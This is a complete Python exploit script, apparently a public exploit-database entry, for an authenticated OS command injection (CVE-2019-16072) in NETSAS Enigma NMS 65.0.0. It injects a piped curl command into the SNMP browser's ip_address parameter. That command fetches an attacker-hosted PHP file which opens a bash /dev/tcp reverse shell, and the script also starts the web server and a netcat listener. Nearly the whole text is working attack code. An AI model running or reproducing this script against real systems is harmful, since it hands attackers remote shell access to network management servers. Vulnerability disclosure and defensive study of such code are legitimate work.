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#!/usr/bin/python
#--------------------------------------------------------------------#
# Exploit Title: Enigma NMS OS Command Injection                     #
# NETSAS Pty Ltd Enigma NMS                                          #
# Date:  21 July 2019                                                #
# Author: Mark Cross (@xerubus | mogozobo.com)                       #
# Vendor: NETSAS Pty Ltd                                             #
# Vendor Homepage:  https://www.netsas.com.au/                       #
# Software Link: https://www.netsas.com.au/enigma-nms-introduction/  #
# Version: Enigma NMS 65.0.0                                         #
# CVE-IDs: CVE-2019-16072                                            #
# Full write-up: https://www.mogozobo.com/?p=3647                    #
#--------------------------------------------------------------------#

import sys, time, os, subprocess, signal, requests, socket, SocketServer, SimpleHTTPServer, threading

os.system('clear')

print("""\
        _  _
  ___ (~ )( ~)
 /   \_\ \/ /   
|   D_ ]\ \/  -= Enigma NMS Reverse Shell by @xerubus =-    
|   D _]/\ \     -= We all have something to hide =-
 \___/ / /\ \\
      (_ )( _)
      @Xerubus    
                    """)

enigma_host = raw_input("Enter Enigma NMS IP address:\t")
attack_host = raw_input("Enter Attacker IP address:\t")
rev_sh_port = raw_input("Enter reverse shell port:\t")
web_svr_port = raw_input("Enter web server port:\t\t")
user = raw_input("Enter Username:\t\t\t")
os.system("stty -echo")
password = raw_input("Enter Password (no echo):\t")
os.system("stty echo")
	
enigma_url = "http://" + enigma_host + "/cgi-bin/protected/discover_and_manage.cgi?action=snmp_browser&hst_id=none&snmpv3_profile_id=&ip_address=|curl%20" + attack_host + ":" + web_svr_port + "/evil.php|php&snmp_ro_string=public&mib_oid=system&mib_oid_manual=.1.3.6.1.2.1.1&snmp_version=1"
enigma_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://" + attack_host + "/cgi-bin/protected/discover_and_manage.cgi?action=snmp_browser", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

print "\n\n[+] Building PHP reverse shell"
f=open("evil.php","w")
f.write("<?php\nexec(\"/bin/bash -c \'bash -i >& /dev/tcp/" + attack_host + "/" + rev_sh_port + " 0>&1\'\");\n?>\n")
f.close()

# Create simple webserver hosting evil php file
print "[+] Hosting PHP reverse shell"
web_svr_port = str(web_svr_port)
web_svr = subprocess.Popen(["python", "-m", "SimpleHTTPServer", web_svr_port], stdout=subprocess.PIPE, shell=False, preexec_fn=os.setsid)

# Create netcat listener
print "[+] Creating listener on port " + rev_sh_port
subprocess.Popen(["nc", "-nvlp", rev_sh_port])

# Send payload to Enigma NMS
print "[+] Sending payload\n"
try:
    r = requests.get(enigma_url, headers=enigma_headers, auth=(user, password))
except:
    pass

print "\n[+] Cleaning up mess..." 

# Shut down http server
os.killpg(os.getpgid(web_svr.pid), signal.SIGTERM)